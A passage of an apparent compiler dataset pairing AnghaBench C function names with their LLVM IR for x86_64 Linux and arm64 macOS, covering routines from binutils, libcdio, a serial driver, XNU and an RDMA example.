C/C++ TBAA"} !10 = !{!"any pointer", !8, i64 0} !11 = !{!6, !7, i64 0} !12 = !{!6, !10, i64 8} !13 = !{!10, !10, i64 0} !14 = !{!15, !10, i64 8} !15 = !{!"TYPE_2__", !7, i64 0, !10, i64 8} !16 = !{!15, !7, i64 0} !17 = distinct !{!17, !18} !18 = !{!"llvm.loop.mustprogress"}
; ModuleID = 'AnghaBench/freebsd/contrib/binutils/gas/config/extr_tc-mips.c_move_insn.c' source_filename = "AnghaBench/freebsd/contrib/binutils/gas/config/extr_tc-mips.c_move_insn.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @llvm.used = appending global [1 x ptr] [ptr @move_insn], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal void @move_insn(ptr noundef %0, ptr noundef %1, i64 noundef %2) #0 { %4 = getelementptr inbounds i8, ptr %0, i64 16 store ptr %1, ptr %4, align 8, !tbaa !6 store i64 %2, ptr %0, align 8, !tbaa !12 %5 = getelementptr inbounds i8, ptr %0, i64 8 %6 = load ptr, ptr %5, align 8, !tbaa !13 %7 = tail call i64 @ARRAY_SIZE(ptr noundef %6) #2 %8 = icmp eq i64 %7, 0 br i1 %8, label %22, label %9 9: ; preds = %3, %18 %10 = phi i64 [ %19, %18 ], [ 0, %3 ] %11 = load ptr, ptr %5, align 8, !tbaa !13 %12 = getelementptr inbounds ptr, ptr %11, i64 %10 %13 = load ptr, ptr %12, align 8, !tbaa !14 %14 = icmp eq ptr %13, null br i1 %14, label %18, label %15 15: ; preds = %9 %16 = getelementptr inbounds i8, ptr %13, i64 8 store ptr %1, ptr %16, align 8, !tbaa !15 %17 = load ptr, ptr %12, align 8, !tbaa !14 store i64 %2, ptr %17, align 8, !tbaa !17 br label %18 18: ; preds = %9, %15 %19 = add nuw i64 %10, 1 %20 = tail call i64 @ARRAY_SIZE(ptr noundef nonnull %11) #2 %21 = icmp ult i64 %19, %20 br i1 %21, label %9, label %22, !llvm.loop !18 22: ; preds = %18, %3 %23 = tail call i32 @install_insn(ptr noundef nonnull %0) #2 ret void } declare i64 @ARRAY_SIZE(ptr noundef) local_unnamed_addr #1 declare i32 @install_insn(ptr noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !11, i64 16} !7 = !{!"mips_cl_insn", !8, i64 0, !11, i64 8, !11, i64 16} !8 = !{!"long", !9, i64 0} !9 = !{!"omnipotent char", !10, i64 0} !10 = !{!"Simple C/C++ TBAA"} !11 = !{!"any pointer", !9, i64 0} !12 = !{!7, !8, i64 0} !13 = !{!7, !11, i64 8} !14 = !{!11, !11, i64 0} !15 = !{!16, !11, i64 8} !16 = !{!"TYPE_2__", !8, i64 0, !11, i64 8} !17 = !{!16, !8, i64 0} !18 = distinct !{!18, !19} !19 = !{!"llvm.loop.mustprogress"}
freebsd_contrib_binutils_gas_config_extr_tc-mips.c_move_insn
; ModuleID = 'AnghaBench/rufus/src/libcdio/udf/extr_filemode.c_udf_mode_string.c' source_filename = "AnghaBench/rufus/src/libcdio/udf/extr_filemode.c_udf_mode_string.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @S_IRUSR = dso_local local_unnamed_addr global i32 0, align 4 @S_IWUSR = dso_local local_unnamed_addr global i32 0, align 4 @S_IXUSR = dso_local local_unnamed_addr global i32 0, align 4 @S_IRGRP = dso_local local_unnamed_addr global i32 0, align 4 @S_IWGRP = dso_local local_unnamed_addr global i32 0, align 4 @S_IXGRP = dso_local local_unnamed_addr global i32 0, align 4 @S_IROTH = dso_local local_unnamed_addr global i32 0, align 4 @S_IWOTH = dso_local local_unnamed_addr global i32 0, align 4 @S_IXOTH = dso_local local_unnamed_addr global i32 0, align 4 ; Function Attrs: nounwind uwtable define dso_local noundef ptr @udf_mode_string(i32 noundef %0, ptr noundef returned %1) local_unnamed_addr #0 { %3 = tail call signext i8 @ftypelet(i32 noundef %0) #2 store i8 %3, ptr %1, align 1, !tbaa !5 %4 = load i32, ptr @S_IRUSR, align 4, !tbaa !8 %5 = and i32 %4, %0 %6 = icmp eq i32 %5, 0 %7 = select i1 %6, i8 45, i8 114 %8 = getelementptr inbounds i8, ptr %1, i64 1 store i8 %7, ptr %8, align 1, !tbaa !5 %9 = load i32, ptr @S_IWUSR, align 4, !tbaa !8 %10 = and i32 %9, %0 %11 = icmp eq i32 %10, 0 %12 = select i1 %11, i8 45, i8 119 %13 = getelementptr inbounds i8, ptr %1, i64 2 store i8 %12, ptr %13, align 1, !tbaa !5 %14 = load i32, ptr @S_IXUSR, align 4, !tbaa !8 %15 = and i32 %14, %0 %16 = icmp eq i32 %15, 0 %17 = select i1 %16, i8 45, i8 120 %18 = getelementptr inbounds i8, ptr %1, i64 3 store i8 %17, ptr %18, align 1, !tbaa !5 %19 = load i32, ptr @S_IRGRP, align 4, !tbaa !8 %20 = getelementptr inbounds i8, ptr %1, i64 4 %21 = load i32, ptr @S_IWGRP, align 4, !tbaa !8 %22 = load i32, ptr @S_IXGRP, align 4, !tbaa !8 %23 = load i32, ptr @S_IROTH, align 4, !tbaa !8 %24 = insertelement <4 x i32> poison, i32 %19, i64 0 %25 = insertelement <4 x i32> %24, i32 %21, i64 1 %26 = insertelement <4 x i32> %25, i32 %22, i64 2 %27 = insertelement <4 x i32> %26, i32 %23, i64 3 %28 = insertelement <4 x i32> poison, i32 %0, i64 0 %29 = shufflevector <4 x i32> %28, <4 x i32> poison, <4 x i32> zeroinitializer %30 = and <4 x i32> %27, %29 %31 = icmp eq <4 x i32> %30, zeroinitializer %32 = select <4 x i1> %31, <4 x i8> <i8 45, i8 45, i8 45, i8 45>, <4 x i8> <i8 114, i8 119, i8 120, i8 114> store <4 x i8> %32, ptr %20, align 1, !tbaa !5 %33 = load i32, ptr @S_IWOTH, align 4, !tbaa !8 %34 = and i32 %33, %0 %35 = icmp eq i32 %34, 0 %36 = select i1 %35, i8 45, i8 119 %37 = getelementptr inbounds i8, ptr %1, i64 8 store i8 %36, ptr %37, align 1, !tbaa !5 %38 = load i32, ptr @S_IXOTH, align 4, !tbaa !8 %39 = and i32 %38, %0 %40 = icmp eq i32 %39, 0 %41 = select i1 %40, i8 45, i8 120 %42 = getelementptr inbounds i8, ptr %1, i64 9 store i8 %41, ptr %42, align 1, !tbaa !5 %43 = getelementptr inbounds i8, ptr %1, i64 10 store i8 0, ptr %43, align 1, !tbaa !5 %44 = tail call i32 @setst(i32 noundef %0, ptr noundef nonnull %1) #2 ret ptr %1 } declare signext i8 @ftypelet(i32 noundef) local_unnamed_addr #1 declare i32 @setst(i32 noundef, ptr noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !6, i64 0} !6 = !{!"omnipotent char", !7, i64 0} !7 = !{!"Simple C/C++ TBAA"} !8 = !{!9, !9, i64 0} !9 = !{!"int", !6, i64 0}
; ModuleID = 'AnghaBench/rufus/src/libcdio/udf/extr_filemode.c_udf_mode_string.c' source_filename = "AnghaBench/rufus/src/libcdio/udf/extr_filemode.c_udf_mode_string.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @S_IRUSR = common local_unnamed_addr global i32 0, align 4 @S_IWUSR = common local_unnamed_addr global i32 0, align 4 @S_IXUSR = common local_unnamed_addr global i32 0, align 4 @S_IRGRP = common local_unnamed_addr global i32 0, align 4 @S_IWGRP = common local_unnamed_addr global i32 0, align 4 @S_IXGRP = common local_unnamed_addr global i32 0, align 4 @S_IROTH = common local_unnamed_addr global i32 0, align 4 @S_IWOTH = common local_unnamed_addr global i32 0, align 4 @S_IXOTH = common local_unnamed_addr global i32 0, align 4 ; Function Attrs: nounwind ssp uwtable(sync) define noundef ptr @udf_mode_string(i32 noundef %0, ptr noundef returned %1) local_unnamed_addr #0 { %3 = tail call signext i8 @ftypelet(i32 noundef %0) #2 store i8 %3, ptr %1, align 1, !tbaa !6 %4 = load i32, ptr @S_IRUSR, align 4, !tbaa !9 %5 = and i32 %4, %0 %6 = icmp eq i32 %5, 0 %7 = select i1 %6, i8 45, i8 114 %8 = getelementptr inbounds i8, ptr %1, i64 1 store i8 %7, ptr %8, align 1, !tbaa !6 %9 = load i32, ptr @S_IWUSR, align 4, !tbaa !9 %10 = and i32 %9, %0 %11 = icmp eq i32 %10, 0 %12 = select i1 %11, i8 45, i8 119 %13 = getelementptr inbounds i8, ptr %1, i64 2 store i8 %12, ptr %13, align 1, !tbaa !6 %14 = load i32, ptr @S_IXUSR, align 4, !tbaa !9 %15 = and i32 %14, %0 %16 = icmp eq i32 %15, 0 %17 = select i1 %16, i8 45, i8 120 %18 = getelementptr inbounds i8, ptr %1, i64 3 store i8 %17, ptr %18, align 1, !tbaa !6 %19 = load i32, ptr @S_IRGRP, align 4, !tbaa !9 %20 = and i32 %19, %0 %21 = icmp eq i32 %20, 0 %22 = select i1 %21, i8 45, i8 114 %23 = getelementptr inbounds i8, ptr %1, i64 4 store i8 %22, ptr %23, align 1, !tbaa !6 %24 = load i32, ptr @S_IWGRP, align 4, !tbaa !9 %25 = and i32 %24, %0 %26 = icmp eq i32 %25, 0 %27 = select i1 %26, i8 45, i8 119 %28 = getelementptr inbounds i8, ptr %1, i64 5 store i8 %27, ptr %28, align 1, !tbaa !6 %29 = load i32, ptr @S_IXGRP, align 4, !tbaa !9 %30 = and i32 %29, %0 %31 = icmp eq i32 %30, 0 %32 = select i1 %31, i8 45, i8 120 %33 = getelementptr inbounds i8, ptr %1, i64 6 store i8 %32, ptr %33, align 1, !tbaa !6 %34 = load i32, ptr @S_IROTH, align 4, !tbaa !9 %35 = and i32 %34, %0 %36 = icmp eq i32 %35, 0 %37 = select i1 %36, i8 45, i8 114 %38 = getelementptr inbounds i8, ptr %1, i64 7 store i8 %37, ptr %38, align 1, !tbaa !6 %39 = load i32, ptr @S_IWOTH, align 4, !tbaa !9 %40 = and i32 %39, %0 %41 = icmp eq i32 %40, 0 %42 = select i1 %41, i8 45, i8 119 %43 = getelementptr inbounds i8, ptr %1, i64 8 store i8 %42, ptr %43, align 1, !tbaa !6 %44 = load i32, ptr @S_IXOTH, align 4, !tbaa !9 %45 = and i32 %44, %0 %46 = icmp eq i32 %45, 0 %47 = select i1 %46, i8 45, i8 120 %48 = getelementptr inbounds i8, ptr %1, i64 9 store i8 %47, ptr %48, align 1, !tbaa !6 %49 = getelementptr inbounds i8, ptr %1, i64 10 store i8 0, ptr %49, align 1, !tbaa !6 %50 = tail call i32 @setst(i32 noundef %0, ptr noundef nonnull %1) #2 ret ptr %1 } declare signext i8 @ftypelet(i32 noundef) local_unnamed_addr #1 declare i32 @setst(i32 noundef, ptr noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !7, i64 0} !7 = !{!"omnipotent char", !8, i64 0} !8 = !{!"Simple C/C++ TBAA"} !9 = !{!10, !10, i64 0} !10 = !{!"int", !7, i64 0}
rufus_src_libcdio_udf_extr_filemode.c_udf_mode_string
; ModuleID = 'AnghaBench/fastsocket/kernel/drivers/serial/extr_mpsc.c_mpsc_free_ring_mem.c' source_filename = "AnghaBench/fastsocket/kernel/drivers/serial/extr_mpsc.c_mpsc_free_ring_mem.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" %struct.mpsc_port_info = type { i64, ptr, %struct.TYPE_2__ } %struct.TYPE_2__ = type { i32, i32 } @.str = private unnamed_addr constant [42 x i8] c"mpsc_free_ring_mem[%d]: Freeing ring mem\0A\00", align 1 @MPSC_DMA_ALLOC_SIZE = dso_local local_unnamed_addr global i32 0, align 4 @llvm.compiler.used = appending global [1 x ptr] [ptr @mpsc_free_ring_mem], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal void @mpsc_free_ring_mem(ptr nocapture noundef %0) #0 { %2 = getelementptr inbounds %struct.mpsc_port_info, ptr %0, i64 0, i32 2, i32 1 %3 = load i32, ptr %2, align 4, !tbaa !5 %4 = tail call i32 @pr_debug(ptr noundef nonnull @.str, i32 noundef %3) #3 %5 = getelementptr inbounds %struct.mpsc_port_info, ptr %0, i64 0, i32 1 %6 = load ptr, ptr %5, align 8, !tbaa !13 %7 = icmp eq ptr %6, null br i1 %7, label %14, label %8 8: ; preds = %1 %9 = getelementptr inbounds %struct.mpsc_port_info, ptr %0, i64 0, i32 2 %10 = load i32, ptr %9, align 8, !tbaa !14 %11 = load i32, ptr @MPSC_DMA_ALLOC_SIZE, align 4, !tbaa !15 %12 = load i64, ptr %0, align 8, !tbaa !16 %13 = tail call i32 @dma_free_noncoherent(i32 noundef %10, i32 noundef %11, ptr noundef nonnull %6, i64 noundef %12) #3 tail call void @llvm.memset.p0.i64(ptr noundef nonnull align 8 dereferenceable(16) %0, i8 0, i64 16, i1 false) br label %14 14: ; preds = %8, %1 ret void } declare i32 @pr_debug(ptr noundef, i32 noundef) local_unnamed_addr #1 declare i32 @dma_free_noncoherent(i32 noundef, i32 noundef, ptr noundef, i64 noundef) local_unnamed_addr #1 ; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: write) declare void @llvm.memset.p0.i64(ptr nocapture writeonly, i8, i64, i1 immarg) #2 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nocallback nofree nounwind willreturn memory(argmem: write) } attributes #3 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !12, i64 20} !6 = !{!"mpsc_port_info", !7, i64 0, !10, i64 8, !11, i64 16} !7 = !{!"long", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!"any pointer", !8, i64 0} !11 = !{!"TYPE_2__", !12, i64 0, !12, i64 4} !12 = !{!"int", !8, i64 0} !13 = !{!6, !10, i64 8} !14 = !{!6, !12, i64 16} !15 = !{!12, !12, i64 0} !16 = !{!6, !7, i64 0}
; ModuleID = 'AnghaBench/fastsocket/kernel/drivers/serial/extr_mpsc.c_mpsc_free_ring_mem.c' source_filename = "AnghaBench/fastsocket/kernel/drivers/serial/extr_mpsc.c_mpsc_free_ring_mem.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @.str = private unnamed_addr constant [42 x i8] c"mpsc_free_ring_mem[%d]: Freeing ring mem\0A\00", align 1 @MPSC_DMA_ALLOC_SIZE = common local_unnamed_addr global i32 0, align 4 @llvm.used = appending global [1 x ptr] [ptr @mpsc_free_ring_mem], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal void @mpsc_free_ring_mem(ptr nocapture noundef %0) #0 { %2 = getelementptr inbounds i8, ptr %0, i64 20 %3 = load i32, ptr %2, align 4, !tbaa !6 %4 = tail call i32 @pr_debug(ptr noundef nonnull @.str, i32 noundef %3) #3 %5 = getelementptr inbounds i8, ptr %0, i64 8 %6 = load ptr, ptr %5, align 8, !tbaa !14 %7 = icmp eq ptr %6, null br i1 %7, label %14, label %8 8: ; preds = %1 %9 = getelementptr inbounds i8, ptr %0, i64 16 %10 = load i32, ptr %9, align 8, !tbaa !15 %11 = load i32, ptr @MPSC_DMA_ALLOC_SIZE, align 4, !tbaa !16 %12 = load i64, ptr %0, align 8, !tbaa !17 %13 = tail call i32 @dma_free_noncoherent(i32 noundef %10, i32 noundef %11, ptr noundef nonnull %6, i64 noundef %12) #3 tail call void @llvm.memset.p0.i64(ptr noundef nonnull align 8 dereferenceable(16) %0, i8 0, i64 16, i1 false) br label %14 14: ; preds = %8, %1 ret void } declare i32 @pr_debug(ptr noundef, i32 noundef) local_unnamed_addr #1 declare i32 @dma_free_noncoherent(i32 noundef, i32 noundef, ptr noundef, i64 noundef) local_unnamed_addr #1 ; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: write) declare void @llvm.memset.p0.i64(ptr nocapture writeonly, i8, i64, i1 immarg) #2 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nocallback nofree nounwind willreturn memory(argmem: write) } attributes #3 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !13, i64 20} !7 = !{!"mpsc_port_info", !8, i64 0, !11, i64 8, !12, i64 16} !8 = !{!"long", !9, i64 0} !9 = !{!"omnipotent char", !10, i64 0} !10 = !{!"Simple C/C++ TBAA"} !11 = !{!"any pointer", !9, i64 0} !12 = !{!"TYPE_2__", !13, i64 0, !13, i64 4} !13 = !{!"int", !9, i64 0} !14 = !{!7, !11, i64 8} !15 = !{!7, !13, i64 16} !16 = !{!13, !13, i64 0} !17 = !{!7, !8, i64 0}
fastsocket_kernel_drivers_serial_extr_mpsc.c_mpsc_free_ring_mem
; ModuleID = 'AnghaBench/darwin-xnu/bsd/kern/extr_kern_sig.c_gsignal.c' source_filename = "AnghaBench/darwin-xnu/bsd/kern/extr_kern_sig.c_gsignal.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" ; Function Attrs: nounwind uwtable define dso_local void @gsignal(i32 noundef %0, i32 noundef %1) local_unnamed_addr #0 { %3 = icmp eq i32 %0, 0 br i1 %3, label %10, label %4 4: ; preds = %2 %5 = tail call ptr @pgfind(i32 noundef %0) #2 %6 = icmp eq ptr %5, null br i1 %6, label %10, label %7 7: ; preds = %4 %8 = tail call i32 @pgsignal(ptr noundef nonnull %5, i32 noundef %1, i32 noundef 0) #2 %9 = tail call i32 @pg_rele(ptr noundef nonnull %5) #2 br label %10 10: ; preds = %7, %4, %2 ret void } declare ptr @pgfind(i32 noundef) local_unnamed_addr #1 declare i32 @pgsignal(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1 declare i32 @pg_rele(ptr noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
; ModuleID = 'AnghaBench/darwin-xnu/bsd/kern/extr_kern_sig.c_gsignal.c' source_filename = "AnghaBench/darwin-xnu/bsd/kern/extr_kern_sig.c_gsignal.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" ; Function Attrs: nounwind ssp uwtable(sync) define void @gsignal(i32 noundef %0, i32 noundef %1) local_unnamed_addr #0 { %3 = icmp eq i32 %0, 0 br i1 %3, label %10, label %4 4: ; preds = %2 %5 = tail call ptr @pgfind(i32 noundef %0) #2 %6 = icmp eq ptr %5, null br i1 %6, label %10, label %7 7: ; preds = %4 %8 = tail call i32 @pgsignal(ptr noundef nonnull %5, i32 noundef %1, i32 noundef 0) #2 %9 = tail call i32 @pg_rele(ptr noundef nonnull %5) #2 br label %10 10: ; preds = %7, %4, %2 ret void } declare ptr @pgfind(i32 noundef) local_unnamed_addr #1 declare i32 @pgsignal(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1 declare i32 @pg_rele(ptr noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
darwin-xnu_bsd_kern_extr_kern_sig.c_gsignal
; ModuleID = 'AnghaBench/freebsd/contrib/ofed/librdmacm/examples/extr_rdma_xserver.c_test.c' source_filename = "AnghaBench/freebsd/contrib/ofed/librdmacm/examples/extr_rdma_xserver.c_test.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" %struct.TYPE_5__ = type { i64 } %struct.ibv_qp_init_attr = type { i32, ptr, %struct.TYPE_4__ } %struct.TYPE_4__ = type { i32, i32, i32, i32 } %struct.rdma_conn_param = type { i32, ptr, %struct.TYPE_4__ } %struct.ibv_wc = type { i32 } @port = dso_local local_unnamed_addr global i32 0, align 4 @hints = dso_local global %struct.TYPE_5__ zeroinitializer, align 8 @.str = private unnamed_addr constant [22 x i8] c"rdma_getaddrinfo: %s\0A\00", align 1 @listen_id = dso_local global i32 0, align 4 @.str.1 = private unnamed_addr constant [15 x i8] c"rdma_create_ep\00", align 1 @.str.2 = private unnamed_addr constant [12 x i8] c"rdma_listen\00", align 1 @id = dso_local global i32 0, align 4 @.str.3 = private unnamed_addr constant [17 x i8] c"rdma_get_request\00", align 1 @IBV_QPT_XRC_RECV = dso_local local_unnamed_addr global i64 0, align 8 @recv_msg = dso_local local_unnamed_addr global i32 0, align 4 @mr = dso_local local_unnamed_addr global i32 0, align 4 @.str.4 = private unnamed_addr constant [14 x i8] c"rdma_reg_msgs\00", align 1 @.str.5 = private unnamed_addr constant [15 x i8] c"rdma_post_recv\00", align 1 @srqn = dso_local global i32 0, align 4 @.str.6 = private unnamed_addr constant [12 x i8] c"rdma_accept\00", align 1 @.str.7 = private unnamed_addr constant [19 x i8] c"rdma_get_recv_comp\00", align 1 @llvm.compiler.used = appending global [1 x ptr] [ptr @test], section 